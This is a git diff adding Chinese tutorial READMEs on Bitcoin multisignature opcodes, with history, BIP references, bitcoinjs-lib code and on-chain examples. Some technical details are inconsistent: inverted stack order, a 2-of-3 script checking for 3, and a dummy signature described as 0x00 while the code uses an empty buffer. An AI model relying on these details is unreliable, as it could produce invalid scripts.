+闪电网络通过支付通道和 HTLC 实现了离线链下交易，同时通过去中心化的路由机制保证了可扩展性和交易隐私。尽管其实现和配置稍显复杂，但闪电网络为比特币和其他区块链提供了一种有效的扩容解决方案，极大地提升了区块链的应用潜力。
\ No newline at end of file
diff --git a/btc/Advanced/Multisign/OP_CHECKMULTISIG/README.md b/btc/Advanced/Multisign/OP_CHECKMULTISIG/README.md
new file mode 100644
index 000000000..34f134ba9
--- /dev/null
+++ b/btc/Advanced/Multisign/OP_CHECKMULTISIG/README.md
@@ -0,0 +1,245 @@
+## OP_CHECKMULTISIG
+
+`OP_CHECKMULTISIG` 是比特币脚本语言中的一个操作码（opcode），用于实现多重签名验证。在比特币交易中，`OP_CHECKMULTISIG` 允许指定多个公钥，并要求至少有一定数量（M）的签名来验证交易。此功能广泛应用于多重签名钱包和联合管理的比特币地址，旨在增强比特币网络的安全性和灵活性。
+
+### 背景
+
+1. **早期比特币设计**：
+   - 比特币最初设计主要关注点是点对点的单一用户交易。
+   - 简单的签名机制足以支持基本的比特币转账功能。
+
+2. **安全需求增加**：
+   - 随着比特币的普及，越来越多的用户和组织开始使用比特币。
+   - 对于大额资金或共享账户，单一签名的安全性不足以抵御潜在风险。
+
+3. **多重签名需求**：
+   - 多重签名（multisig）技术允许多个签名者共同管理一个比特币地址，提高了安全性。
+   - 特别适用于企业账户、家庭共享账户和其他需要联合管理的情境。
+
+### 具体的 BIP
+
+1. **BIP 11**：
+   - 标题：`M-of-N Standard Transactions`
+   - 提案作者：Gavin Andresen
+   - 提出时间：2012 年 3 月
+   - 内容：描述了多重签名交易的标准格式，即 M 个签名中的 N 个签名验证通过即可执行交易。
+
+2. **BIP 16**：
+   - 标题：`Pay to Script Hash`
+   - 提案作者：Gavin Andresen
+   - 提出时间：2012 年 1 月
+   - 内容：定义了支付到脚本哈希（P2SH）的机制，使得复杂的脚本可以更简洁地在链上表示，从而增强了多重签名的可用性。
+
+### 时间线
+
+1. **2011 年至 2012 年初**：
+   - 多重签名的需求逐渐显现，社区开始讨论如何实现更安全的交易机制。
+
+2. **2012 年 1 月**：
+   - Gavin Andresen 提出 BIP 16，描述了 P2SH 的机制，为多重签名交易的简化提供了基础。
+
+3. **2012 年 3 月**：
+   - Gavin Andresen 提出 BIP 11，明确了 M-of-N 多重签名交易的标准格式，具体描述了如何在比特币脚本中实现多重签名验证。
+
+4. **2012 年 5 月**：
+   - 比特币客户端（Bitcoin Core）集成了 P2SH 和多重签名功能，`OP_CHECKMULTISIG` 操作码开始被正式使用。
+
+### 关键人物
+
+1. **Gavin Andresen**：
+   - 比特币基金会的首席科学家，最早提出并推动了 P2SH 和多重签名交易的标准化。
+   - 他是 BIP 11 和 BIP 16 的主要作者，对 `OP_CHECKMULTISIG` 的引入和实施起到了关键作用。
+
+2. **比特币开发社区**：
+   - 包括许多开发者和贡献者，他们共同讨论、审查和改进了多重签名机制。
+   - 社区的参与和支持确保了这些改进提案的顺利实施和推广。
+
+### 工作原理
+
+`OP_CHECKMULTISIG` 的基本原理是检查一组公钥和签名，确认至少有 M 个签名是有效的。具体来说，这个操作码会验证堆栈上的公钥和签名，并确保至少有 M 个签名与对应的公钥匹配。
+
+### 操作步骤
+
+1. **堆栈输入**：
+    - 签名数量（N）
+    - N 个签名
+    - 公钥数量（M）
+    - M 个公钥
+
+2. **执行过程**：
+    - 从堆栈中弹出签名数量（N）。
+    - 弹出 N 个签名并存储。
+    - 弹出公钥数量（M）。
+    - 弹出 M 个公钥并存储。
+    - 验证至少有 M 个签名能匹配对应的公钥。
+    - 如果验证成功，脚本继续执行；否则，脚本失败。
+
+### 示例脚本
+
+假设我们有三个公钥，需要至少两个签名来验证交易，脚本如下：
+
+```
+2 <PubKey1> <PubKey2> <PubKey3> 3 OP_CHECKMULTISIG
+```
+
+在这个脚本中：
+- `2` 表示需要两个有效签名。
+- `<PubKey1> <PubKey2> <PubKey3>` 是三个公钥。
+- `3` 表示总共有三个公钥。
+- `OP_CHECKMULTISIG` 执行多重签名验证。
+
+### 例子详解
+
+假设 Alice、Bob 和 Charlie 共同管理一个地址，任何交易需要至少两人签名。我们生成一个多重签名地址，并创建一个 P2SH（Pay to Script Hash）交易。
+
+1. **创建多重签名地址**：
+
+   ```
+   2 <AlicePubKey> <BobPubKey> <CharliePubKey> 3 OP_CHECKMULTISIG
+   ```
+
+2. **生成 P2SH 地址**：
+   将上述脚本的哈希作为地址，这样可以简化交易脚本并提高安全性。
+
+3. **花费多重签名地址中的资金**：
+   - Alice 和 Bob 签名交易。
+   - 将签名和原始脚本放入输入脚本中：
+
+   ```
+   0 <AliceSignature> <BobSignature> 2 <AlicePubKey> <BobPubKey> <CharliePubKey> 3 OP_CHECKMULTISIG
+   ```
+
+### 注意事项
+
+- **漏洞**：早期版本的 `OP_CHECKMULTISIG` 有一个“off-by-one”漏洞，要求在签名数量前添加一个额外的 `OP_0`。
+- **效率**：验证签名和公钥需要计算资源，在高频交易场景中需要考虑其效率。
+
+## 链上交易
+### P2SH-P2MS
+链上交易：https://mempool.space/zh/tx/45f862a3c72b659406c38f606e2bcc73145241c3bf5c42ded4d4737af8d401ad
+```js
+// ScriptSig
+<empty>
+OP_0
+OP_PUSHBYTES_71 3044022018a750079fc75b68f5208f86b146821d5f3acb41f68195f8b4cbf1012cba2cbb02200c3ddd0dc271342f62222603356dd7c713cf387718e57ec2644f7811295d03ea01
+OP_PUSHBYTES_72 30450221009a5914969675238ddfb9c1475d2888b3a5a507c6d13c35ac13a6f97a5c3dec97022055587f56408ba7abdc48d637d3eb03a3c29f05d7c22df9a20fd4bea739a00b2601
+OP_PUSHDATA1 52210231d0ed51696dff4a25015f2a8330d07b81761eda22cae558da1086b5d084e1922102e142c9123d48ce4c0b32403b19403e41129f1d37de852d9bbc95165af6960e3b2102207620c770dc24eb02edc6fba51b70fd0c04a2772842d808188b835a8f73832853ae
+
+// P2SH redeem script
+OP_PUSHNUM_2
+OP_PUSHBYTES_33 0231d0ed51696dff4a25015f2a8330d07b81761eda22cae558da1086b5d084e192
+OP_PUSHBYTES_33 02e142c9123d48ce4c0b32403b19403e41129f1d37de852d9bbc95165af6960e3b
+OP_PUSHBYTES_33 02207620c770dc24eb02edc6fba51b70fd0c04a2772842d808188b835a8f738328
+OP_PUSHNUM_3
+OP_CHECKMULTISIG
+```
+
+### P2WSH-P2MS
+链上交易：https://mempool.space/zh/tx/a085e629f5932e729f54f174c936f015a10bb7935db66d5803e81dbff0ee15cc
+```js
+// Witness
+<empty>
+304402204f63983ae7cdb18fc3b75d4acc8e74d35816d4a8660d4296da4c0f6a0206fdd90220347e8317c686aa3785905eb1ff1cf32c4ce7ef019678fdd9ad00cfceedd74c2e01
+30440220055d4a41afa73ef449b18add7748b054eec768a8350c5095b4f622546eb55a3f022073cea484b99331cc8ae1ebf6b1698d07b560ad01ee63e3a4a739684a0408aec601
+52210279d1f38c1c80d47cb00ddbbe2915a60d5706e1ef66056a169150f083b288eb952102cb7d02b654f8616bfc5ab017b7a3ec9092e466381af0f552b7efcd8d920453672103c96d495bfdd5ba4145e3e046fee45e84a8a48ad05bd8dbb395c011a32cf9f88053ae
+
+// P2WSH witness script
+OP_PUSHNUM_2
+OP_PUSHBYTES_33 0279d1f38c1c80d47cb00ddbbe2915a60d5706e1ef66056a169150f083b288eb95
+OP_PUSHBYTES_33 02cb7d02b654f8616bfc5ab017b7a3ec9092e466381af0f552b7efcd8d92045367
+OP_PUSHBYTES_33 03c96d495bfdd5ba4145e3e046fee45e84a8a48ad05bd8dbb395c011a32cf9f880
+OP_PUSHNUM_3
+OP_CHECKMULTISIG
+```
+
+### P2TR-P2MS
+
+## 代码示例
+
+完整的示例可以在[bitcoinjs-lib](https://github.com/bitcoinjs/bitcoinjs-lib/)里找到，这里逐步拆解分析。
+
+### P2SH-P2MS
+
+示例代码参考[bitcoinjs-lib](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/transactions.spec.ts#L204-L250)。
+
+
+1. **构建锁定脚本**：
+  以上面的示例脚本为例：
+
+  ```javascript
+  2 <AlicePubKey> <BobPubKey> <CharliePubKey> 3 OP_CHECKMULTISIG
+
+  const output = bscript.compile(
+    ([] as Stack).concat(
+      OP_INT_BASE + a.m,
+      a.pubkeys,
+      OP_INT_BASE + o.n,
+      OPS.OP_CHECKMULTISIG,
+    )
+  );
+
+  // 其中
+  m = 2;
+  pubkeys = [<AlicePubKey>, <BobPubKey>, <CharliePubKey>];
+  n = 3;
+  ```
+
+2. **签名过程**：
+
+  ```javascript
+  const multisig = createPayment('p2sh-p2ms(2 of 4)');
+  const inputData1 = await getInputData(2e4, multisig.payment, false, 'p2sh');
+
+  const psbt = new bitcoin.Psbt({ network: regtest })
+    .addInput(inputData1)
+    .addOutput({
+      address: regtestUtils.RANDOM_ADDRESS,
+      value: 1e4,
+    })
+    .signInput(0, multisig.keys[0])
+    .signInput(0, multisig.keys[2]);
+  ```
+
+  签名之后会得到签名信息，多签对应多个元素的签名数组：
+
+  ```javascript
+  const partialSig = [
+    {
+      pubkey: AlicePubKey,
+      signature: bscript.signature.encode(Alice.sign(hash), sighashType),
+    },
+    {
+      pubkey: BobPubKey,
+      signature: bscript.signature.encode(Bob.sign(hash), sighashType),
+    },
+  ];
+  ```
+
+3. **排序签名**：
+
+  ```javascript
+  function getSortedSigs(script: Buffer, partialSig: PartialSig[]): Buffer[] {
+    const p2ms = payments.p2ms({ output: script });
+    // for each pubkey in order of p2ms script
+    return p2ms
+      .pubkeys!.map(pk => {
+        // filter partialSig array by pubkey being equal
+        return (
+          partialSig.filter(ps => {
+            return ps.pubkey.equals(pk);
+          })[0] || {}
+        ).signature;
+        // Any pubkey without a match will return undefined
+        // this last filter removes all the undefined items in the array.
+      })
+      .filter(v => !!v);
+  }
+  ```
+
+4. **构建解锁脚本**：
+
+  ```javascript
+  bscript.compile(([OPS.OP_0] as Stack).concat(a.signatures))
+  ```
+
+  
\ No newline at end of file
diff --git a/btc/Advanced/Multisign/OP_CHECKMULTISIGVERIFY/README.md b/btc/Advanced/Multisign/OP_CHECKMULTISIGVERIFY/README.md
new file mode 100644
index 000000000..c3a6ac404
--- /dev/null
+++ b/btc/Advanced/Multisign/OP_CHECKMULTISIGVERIFY/README.md
@@ -0,0 +1,48 @@
+## OP_CHECKMULTISIGVERIFY
+
+`OP_CHECKMULTISIGVERIFY` 并没有通过单独的 BIP 提出，但其背景和实现与 BIP 16 的提出密切相关。BIP 16 提出了支付到脚本哈希（P2SH）的机制，使得复杂的脚本可以更简洁地在链上表示，并且增强了多重签名的可用性。
+
+### 详细背景
+
+#### BIP 16 提出
+
+1. **BIP 16**：
+   - 标题：`Pay to Script Hash`
+   - 提案作者：Gavin Andresen
+   - 提出时间：2012 年 1 月
+   - 内容：定义了支付到脚本哈希（P2SH）的机制。P2SH 允许复杂的脚本在链上以更简洁的形式表示，并在解锁时提供完整的脚本内容。这极大地简化了多重签名等复杂交易的实现。
+
+#### OP_CHECKMULTISIGVERIFY 的引入
+
+在 BIP 16 提出并实现后，比特币开发社区继续寻找优化和简化脚本的方法。`OP_CHECKMULTISIGVERIFY` 作为 `OP_CHECKMULTISIG` 和 `OP_VERIFY` 的组合，自然而然地被引入，以简化多重签名验证的脚本编写和执行过程。
+
+### OP_CHECKMULTISIGVERIFY 的工作原理
+
+`OP_CHECKMULTISIGVERIFY` 结合了 `OP_CHECKMULTISIG` 和 `OP_VERIFY` 的功能。其主要目的是在验证多重签名后，立即判断验证结果并返回执行状态。
+
+脚本构建和签名过程可以参考[OP_CHECKMULTISIG](../OP_CHECKMULTISIG/README.md)，这里不再赘述。
+
+### 具体案例
+在babylon业务中，会把用户的资产质押到一个Taproot地址里。根据官方披露的三条解锁路径都需要OP_CHECKSIGVERIFY来验证签名然后执行后续逻辑
+1. 时间锁路径，质押者到期可以赎回
+```js
+<Staker_PK> OP_CHECKSIGVERIFY  <Timelock_Blocks> OP_CHECKSEQUENCEVERIFY
+```
+
+2. 解绑路径，质押者提前赎回
+```
+<StakerPk> OP_CHECKSIGVERIFY
+<CovenantPk1> OP_CHECKSIG 
+<CovenantPk1> OP_CHECKSIGADD ... <CovenantPkN> OP_CHECKSIGADD
+<CovenantThreshold> OP_GREATERTHANOREQUAL
+```
+
+3. 质押者作恶，惩罚路径
+```js
+<StakerPk> OP_CHECKSIGVERIFY
+<FinalityProviderPk> OP_CHECKSIGVERIFY
+<CovenantPk1> OP_CHECKSIG <CovenantPk1> OP_CHECKSIGADD ... <CovenantPkN> OP_CHECKSIGADD
+<CovenantThreshold> OP_GREATERTHANOREQUAL
+```
+
+相关交易可以查看：https://mempool.space/zh/signet/tx/ceb126550481ecb69b45929b2b5869fd3975a707e6100b368d6cc15e4434ad9d
\ No newline at end of file
diff --git a/btc/Advanced/Multisign/OP_CHECKSIGADD/README.md b/btc/Advanced/Multisign/OP_CHECKSIGADD/README.md
new file mode 100644
index 000000000..015ad3420
--- /dev/null
+++ b/btc/Advanced/Multisign/OP_CHECKSIGADD/README.md
@@ -0,0 +1,246 @@
+## OP_CHECKSIGADD
+`OP_CHECKSIGADD` 是比特币脚本语言中的一个操作码（opcode），其引入主要目的是为了优化和简化多重签名验证过程。它在 Taproot 和 Schnorr 签名方案中扮演了重要角色，允许更高效地实现多重签名和复杂交易。
+
+### BIP 提出的背景
+
+`OP_CHECKSIGADD` 的引入是为了配合 Taproot 和 Schnorr 签名的实现，这两个方案显著优化了比特币的签名机制，提高了隐私性和效率。
+
+#### 具体的 BIP
+1. **BIP 340**：
+  - 标题：`Schnorr Signatures for secp256k1`
+  - 提案作者：Pieter Wuille, Jonas Nick, Tim Ruffing
+  - 提出时间：2020 年 1 月
+  - 内容：介绍了 Schnorr 签名算法，为比特币带来了更简洁的签名和更高的验证效率。
+
+2. **BIP 341**：
+  - 标题：`Taproot: SegWit version 1 spending rules`
+  - 提案作者：Pieter Wuille, Jonas Nick, Anthony Towns
+  - 提出时间：2020 年 1 月
+  - 内容：定义了 Taproot 升级，引入了一种新的输出类型，使得复杂的交易更加高效和隐私。
+
+3. **BIP 342**：
+  - 标题：`Validation of Taproot Scripts`
+  - 提案作者：Pieter Wuille
+  - 提出时间：2020 年 1 月
+  - 内容：引入了 `OP_CHECKSIGADD` 操作码，用于在 Taproot 中实现更高效的多重签名验证。
+
+### 关键人物
+
+1. **Pieter Wuille**：
+   - 比特币核心开发者，BIP 340、BIP 341 和 BIP 342 的主要作者，对 Taproot 和 Schnorr 签名的引入和实施起到了关键作用。
+
+2. **Jonas Nick**：
+   - 比特币核心开发者，参与了 Schnorr 签名和 Taproot 的研究和开发。
+
+3. **Tim Ruffing**：
+   - 密码学研究者，参与了 Schnorr 签名和多重签名方案的研究和开发。
+
+4. **Anthony Towns**：
+   - 比特币核心开发者，参与了 Taproot 的设计和实现。
+
+### 激活过程
+为了激活 Taproot 升级，比特币网络采用了一种称为“Speedy Trial”的激活机制。这种机制允许矿工通过在区块中设置特定的标志位（version bits）来表示他们对 Taproot 升级的支持。
+
+- **信号期**：矿工在每个区块中设置信号位，表示对 Taproot 升级的支持。
+- **激活门槛**：在一个难度调整周期（2016 个区块）内，需要至少 90% 的区块（即 1815 个区块）设置信号位，以表示对升级的支持。
+- **锁定期**：如果在一个信号期内达到了激活门槛，Taproot 升级会进入“锁定期”（lock-in period），再经过一个难度调整周期后，升级正式生效。
+
+#### 5. 正式激活
+
+Taproot 升级在 2021 年 6 月达到了激活门槛，随后在 2021 年 11 月正式激活。从这个时间点开始，`OP_CHECKSIGADD` 和其他相关的新功能在比特币网络上正式生效。
+
+### 关键时间点
+
+- **2020 年 1 月**：BIP 340、BIP 341 和 BIP 342 提出。
+- **2021 年 6 月**：Taproot 升级达到了激活门槛。
+- **2021 年 11 月 14 日**：Taproot 升级正式激活。
+
+### 工作原理
+
+`OP_CHECKSIGADD` 操作码的主要功能是验证单个签名并将结果（0 或 1）与现有的累计值相加。这在构建多重签名验证时尤其有用，因为它允许逐步累积签名验证的结果，然后在最后进行总和检查。
+
+#### 操作步骤
+
+1. 从堆栈中弹出一个公钥。
+2. 从堆栈中弹出一个签名。
+3. 从堆栈中弹出一个累计值。
+4. 验证公钥和签名：
+   - 如果签名有效，返回 1；否则返回 0。
+5. 将验证结果与累计值相加。
+6. 将新的累计值压回堆栈。
+
+### 示例脚本
+
+假设我们有三个公钥和三个对应的签名，我们希望验证至少两个签名，脚本如下：
+
+```
+<sig1> <sig2> <sig3> <0> <pubKey1> OP_CHECKSIGADD <pubKey2> OP_CHECKSIGADD <pubKey3> OP_CHECKSIGADD <2> OP_EQUAL
+```
+
+在这个脚本中：
+- `<sig1> <sig2> <sig3>` 是签名。
+- `<0>` 是初始累计值。
+- `<pubKey1> <pubKey2> <pubKey3>` 是公钥。
+- `OP_CHECKSIGADD` 执行单个签名验证并累加结果。
+- `<2> OP_EQUAL` 检查累加值是否等于 2。
+
+
+`OP_CHECKSIGADD` 是比特币脚本语言中用于优化多重签名验证的新操作码。它简化了多重签名的实现，使得复杂交易更加高效。它的引入与 BIP 340、BIP 341 和 BIP 342 紧密相关，标志着比特币在隐私性和效率方面的显著提升。通过 `OP_CHECKSIGADD`，比特币能够更灵活地实现多重签名验证，同时保持较高的安全性和性能。
+
+### 案例
+这里以上面示例中taproot script-path脚本中的2-3多签为例
+
+1. 随机生成internal public key和三份多签用户的私钥
+```js
+const internalKey = bip32.fromSeed(rng(64), regtest);
+
+const leafKeys = [];
+const leafPubkeys = [];
+for (let i = 0; i < 3; i++) {
+  const leafKey = bip32.fromSeed(rng(64), regtest);
+  leafKeys.push(leafKey);
+  leafPubkeys.push(toXOnly(leafKey.publicKey).toString('hex'));
+}
+```
+
+2. 构造锁定脚本
+```js
+ const leafScriptAsm = `${leafPubkeys[2]} OP_CHECKSIG ${leafPubkeys[1]} OP_CHECKSIGADD ${leafPubkeys[0]} OP_CHECKSIGADD OP_3 OP_NUMEQUAL`;
+```
+
+3. 构造MAST
+```js
+const leafScript = bitcoin.script.fromASM(leafScriptAsm);
+
+const scriptTree: Taptree = [
+  {
+    output: bitcoin.script.fromASM(
+      '50929b74c1a04954b78b4b6035e97a5e078a5a0f28ec96d547bfee9ace803ac0 OP_CHECKSIG',
+    ),
+  },
+  [
+    {
+      output: bitcoin.script.fromASM(
+        '50929b74c1a04954b78b4b6035e97a5e078a5a0f28ec96d547bfee9ace803ac0 OP_CHECKSIG',
+      ),
+    },
+    {
+      output: leafScript,
+    },
+  ],
+];
+const redeem = {
+  output: leafScript,
+  redeemVersion: LEAF_VERSION_TAPSCRIPT,
+};
+
+const { output, address, witness } = bitcoin.payments.p2tr({
+  internalPubkey: toXOnly(internalKey.publicKey),
+  scriptTree,
+  redeem,
+  network: regtest,
+});
+```
+
+4. 构造PSBT交易
+```js
+// amount from faucet
+const amount = 42e4;
+// amount to send
+const sendAmount = amount - 1e4;
+// get faucet
+const unspent = await regtestUtils.faucetComplex(wallet.output, amount);
+
+const psbt = new bitcoin.Psbt({ network: regtest });
+
+// Adding an input is a bit special in this case,
+// So we contain it in the wallet class
+// Any wallet can do this, wallet2 or wallet3 could be used.
+wallet.addInput(psbt, unspent.txId, unspent.vout, unspent.value);
+
+psbt.addOutput({ value: sendAmount, address: wallet.address });
+
+```
+
+5. 签名交易
+```js
+// Sign with at least 2 of the 3 wallets.
+// Verify that there is a matching leaf script
+// (which includes the unspendable internalPubkey,
+// so we verify that no one can key-spend it)
+wallet3.verifyInputScript(psbt, 0);
+wallet2.verifyInputScript(psbt, 0);
+psbt.signInput(0, wallet3);
+psbt.signInput(0, wallet2);
+
+// Before finalizing, we need to add dummy signatures for all that did not sign.
+// Any wallet can do this, wallet2 or wallet3 could be used.
+wallet.addDummySigs(psbt);
+
+// its just used to add dummy signature that have an empty Buffer
+addDummySigs(psbt: bitcoin.Psbt) {
+  const leafHash = tapleafHash({
+    output: this.leafScript,
+    version: this.leafVersion,
+  });
+  for (const input of psbt.data.inputs) {
+    if (!input.tapScriptSig) continue;
+    const signedPubkeys = input.tapScriptSig
+      .filter(ts => ts.leafHash.equals(leafHash))
+      .map(ts => ts.pubkey);
+    for (const pubkey of this.pubkeys) {
+      if (signedPubkeys.some(sPub => sPub.equals(pubkey))) continue;
+      // Before finalizing, every key that did not sign must have an empty signature
+      // in place where their signature would be.
+      // In order to do this currently we need to construct a dummy signature manually.
+      input.tapScriptSig.push({
+        // This can be reused for each dummy signature
+        leafHash,
+        // This is the pubkey that didn't sign
+        pubkey,
+        // This must be an empty Buffer.
+        signature: Buffer.from([]),
+      });
+    }
+  }
+}
+```
+这里需要注意
+OP_CHECKSIGADD需要**完整的三个签名**，我们需要对未签名的公钥补一个无效签名，即一个字节的0x00
+
+6. 提取广播
+```js
+psbt.finalizeAllInputs();
+const tx = psbt.extractTransaction();
+const rawTx = tx.toBuffer();
+const hex = rawTx.toString('hex');
+
+await regtestUtils.broadcast(hex);
+```
+
+OP_CHECKSIGADD交易示例，这笔交易里还同时包含了OP_CHECKSIG和OP_CHECKSIGVERIFY：https://mempool.space/zh/signet/tx/ceb126550481ecb69b45929b2b5869fd3975a707e6100b368d6cc15e4434ad9d
+
+```js
+OP_PUSHBYTES_32 9d65bad2d86e26bf1a907077312b849f89e5109a8574087a34953252af63940c
+OP_CHECKSIGVERIFY
+OP_PUSHBYTES_32 113c3a32a9d320b72190a04a020a0db3976ef36972673258e9a38a364f3dc3b0
+OP_CHECKSIG
+OP_PUSHBYTES_32 17921cf156ccb4e73d428f996ed11b245313e37e27c978ac4d2cc21eca4672e4
+OP_CHECKSIGADD
+OP_PUSHBYTES_32 3bb93dfc8b61887d771f3630e9a63e97cbafcfcc78556a474df83a31a0ef899c
+OP_CHECKSIGADD
+OP_PUSHBYTES_32 40afaf47c4ffa56de86410d8e47baa2bb6f04b604f4ea24323737ddc3fe092df
+OP_CHECKSIGADD
+OP_PUSHBYTES_32 49766ccd9e3cd94343e2040474a77fb37cdfd30530d05f9f1e96ae1e2102c86e
+OP_CHECKSIGADD
+OP_PUSHBYTES_32 76d1ae01f8fb6bf30108731c884cddcf57ef6eef2d9d9559e130894e0e40c62c
+OP_CHECKSIGADD
+OP_PUSHBYTES_32 79a71ffd71c503ef2e2f91bccfc8fcda7946f4653cef0d9f3dde20795ef3b9f0
+OP_CHECKSIGADD
+OP_PUSHBYTES_32 d21faf78c6751a0d38e6bd8028b907ff07e9a869a43fc837d6b3f8dff6119a36
+OP_CHECKSIGADD
+OP_PUSHBYTES_32 f5199efae3f28bb82476163a7e458c7ad445d9bffb0682d10d3bdb2cb41f8e8e
+OP_CHECKSIGADD
+OP_PUSHNUM_6
+OP_NUMEQUAL
+```
\ No newline at end of file
diff --git a/btc/Advanced/Multisign/README.md b/btc/Advanced/Multisign/README.md
new file mode 100644
index 000000000..e346c0d80
--- /dev/null
+++ b/btc/Advanced/Multisign/README.md
@@ -0,0 +1,117 @@
+## 多签介绍
+在比特币 (BTC) 网络中，多签名 (Multi-Signature 或 Multi-Sig) 是一种安全性增强技术，它要求多个密钥签名才能执行一笔交易。具体来说，多签机制允许用户创建一个钱包地址，只有在满足一定数量的签名条件下，才能使用钱包中的资金。多签名技术可以用于提高安全性、实现分布式控制和管理资金等用途。
+
+### 多签名的工作原理
+1. **创建多签地址**：
+   - 多签地址通常是由多个参与者的公钥共同生成的。
+   - 比如，一个 2-of-3 的多签地址意味着需要三个公钥，并且至少需要其中两个公钥对应的私钥来签名交易。
+
+2. **构造交易**：
+   - 当需要使用多签地址中的比特币时，必须构造一个包含所有必要签名的交易。
+   - 比如，对于 2-of-3 的多签地址，至少需要两个参与者的签名才能执行交易。
+
+3. **广播交易**：
+   - 完整签名的交易可以广播到比特币网络，并由矿工进行验证和打包。
+
+### 多签名的应用场景
+1. **提高安全性**：
+   - 单一私钥被盗将无法转移资金，必须多个私钥同时被盗才能实现恶意交易。
+   
+2. **分布式控制**：
+   - 可以用于多方共同控制资金，比如公司资金的多方管理，防止单人滥用资金。
+   
+3. **智能合约和去中心化应用**：
+   - 多签名可以作为简单的智能合约机制，支持更加复杂的交易条件和逻辑。
+
+### 示例
+一个简单的 2-of-3 多签交易流程可能如下：
+1. 生成三个公私钥对（用户A、用户B、用户C）。
+2. 使用三个公钥生成一个 2-of-3 的多签地址。
+3. 将比特币转入这个多签地址。
+4. 当需要转出比特币时，用户A和用户B（或者用户A和用户C，或者用户B和用户C）共同签名交易。
+5. 交易广播到网络并等待确认。
+
+
+## 多签验证的OPCode
+在比特币网络中，多签名（Multi-Signature，简称多签）是一种提高安全性和灵活性的技术，允许在执行交易时需要多个签名。为了实现多签名，比特币脚本（Bitcoin Script）提供了几个关键的操作码（OPCode）。以下是与多签名相关的主要 OPCode 及其功能：
+
+### 主要的多签名 OPCode
+
+1. **OP_CHECKMULTISIG**
+   - **功能**：验证多签名交易。
+   - **描述**：从堆栈中弹出 n 个公钥和 m 个签名，检查是否有至少 m 个签名有效。如果有效，则返回 true，否则返回 false。
+   - **示例**：
+     ```
+     <m> <A公钥> <B公钥> <C公钥> <n> OP_CHECKMULTISIG
+     ```
+     其中，`<m>` 是需要的最小签名数，`<n>` 是提供的公钥数量。
+
+2. **OP_CHECKMULTISIGVERIFY**
+   - **功能**：与 OP_CHECKMULTISIG 类似，但在验证失败时终止执行并返回错误。
+   - **描述**：与 OP_CHECKMULTISIG 的工作原理相同，只是如果检查失败，脚本将立即失败。
+   - **示例**：
+     ```
+     <m> <A公钥> <B公钥> <C公钥> <n> OP_CHECKMULTISIGVERIFY
+     ```
+
+3. **OP_CHECKSIGADD**
+   - **功能**：用于在 Taproot 和 Schnorr 签名方案中实现高效的多签名验证。
+   - **描述**：从堆栈中取出一个公钥和一个签名，验证该签名是否有效，并将结果添加到一个计数器中。计数器表示有效签名的总数。
+   - **示例**：
+     ```
+     <A公钥> <签名A> OP_CHECKSIGADD
+     <B公钥> <签名B> OP_CHECKSIGADD
+     <C公钥> <签名C> OP_CHECKSIGADD
+     <2> OP_EQUAL
+     ```
+     - `<A公钥> <签名A> OP_CHECKSIGADD`：验证签名A是否匹配A公钥并将结果加到计数器。
+     - `<B公钥> <签名B> OP_CHECKSIGADD`：验证签名B是否匹配B公钥并将结果加到计数器。
+     - `<C公钥> <签名C> OP_CHECKSIGADD`：验证签名C是否匹配C公钥并将结果加到计数器。
+     - `<2> OP_EQUAL`：检查计数器是否等于2，即验证是否有两个有效签名。
+
+### 示例脚本
+
+#### P2SH（Pay-to-Script-Hash）多签名交易
+1. **创建赎回脚本（Redeem Script）**：
+   ```
+   <2> <A公钥> <B公钥> <C公钥> <3> OP_CHECKMULTISIG
+   ```
+   - `<2>`：至少需要两个签名。
+   - `<A公钥> <B公钥> <C公钥>`：三个公钥。
+   - `<3>`：表示共有三个公钥。
+
+2. **生成 P2SH 地址**：
+   - 将上述赎回脚本的哈希值作为 P2SH 地址，将比特币发送到该地址。
+
+3. **花费 P2SH 多签名交易**：
+   - 解锁脚本（Unlocking Script）：
+     ```
+     <0> <签名1> <签名2> <赎回脚本>
+     ```
+     - `<0>`：因为 OP_CHECKMULTISIG 有一个历史遗留的 bug，需要额外的空值。
+     - `<签名1> <签名2>`：两个有效签名。
+     - `<赎回脚本>`：实际的赎回脚本，证明这是正确的解锁条件。
+
+#### Taproot 多签名脚本
+1. **赎回脚本（Taproot Script）**：
+   ```
+   <A公钥> <签名A> OP_CHECKSIGADD
+   <B公钥> <签名B> OP_CHECKSIGADD
+   <C公钥> <签名C> OP_CHECKSIGADD
+   <2> OP_EQUAL
+   ```
+
+### 操作码对比
+对比比特币多签名相关的主要 OPCode，包括功能、描述、优点、缺点、使用的脚本类型、推出的 BIP 编号及示例：
+
+| OPCode                   | 功能                      | 描述                                                                                                                | 优点                                                              | 缺点                                                                    | 使用的脚本类型               | 推出的 BIP 编号 | 示例                                                                                                           |
+|--------------------------|---------------------------|---------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------|-------------------------------------------------------------------------|--------------------------------|------------------|---------------------------------------------------------------------------------------------------------------|
+| **[OP_CHECKMULTISIG](./OP_CHECKMULTISIG/README.md)**     | 验证多签名交易            | 从堆栈中弹出 n 个公钥和 m 个签名，检查是否有至少 m 个签名有效。如果有效，则返回 true，否则返回 false。            | 适用于传统多签名交易，广泛支持                                     | 脚本较大，存在历史遗留的 bug 需要额外的空值                             | P2SH, P2WSH                    | BIP 11, BIP 16   | `<2> <A公钥> <B公钥> <C公钥> <3> OP_CHECKMULTISIG`                                                            |
+| **[OP_CHECKMULTISIGVERIFY](./OP_CHECKMULTISIGVERIFY/README.md)** | 验证多签名并返回错误     | 与 OP_CHECKMULTISIG 类似，但在验证失败时终止执行并返回错误。                                                        | 简化了错误处理逻辑                                                | 同样存在历史遗留的 bug 需要额外的空值                                   | P2SH, P2WSH                    | BIP 11, BIP 16   | `<2> <A公钥> <B公钥> <C公钥> <3> OP_CHECKMULTISIGVERIFY`                                                      |
+| **[OP_CHECKSIGADD](./OP_CHECKSIGADD/README.md)**       | 高效验证多签名            | 从堆栈中取出一个公钥和一个签名，验证该签名是否有效，并将结果添加到一个计数器中。计数器表示有效签名的总数。         | 更高效，简化了多签名脚本，减少交易大小和费用                      | 仅在 Taproot 和 Schnorr 签名方案中可用                                   | Taproot                         | BIP 340, BIP 341 | `<A公钥> <签名A> OP_CHECKSIGADD<br><B公钥> <签名B> OP_CHECKSIGADD<br><C公钥> <签名C> OP_CHECKSIGADD<br><2> OP_EQUAL` |
+
+
+
+### 总结
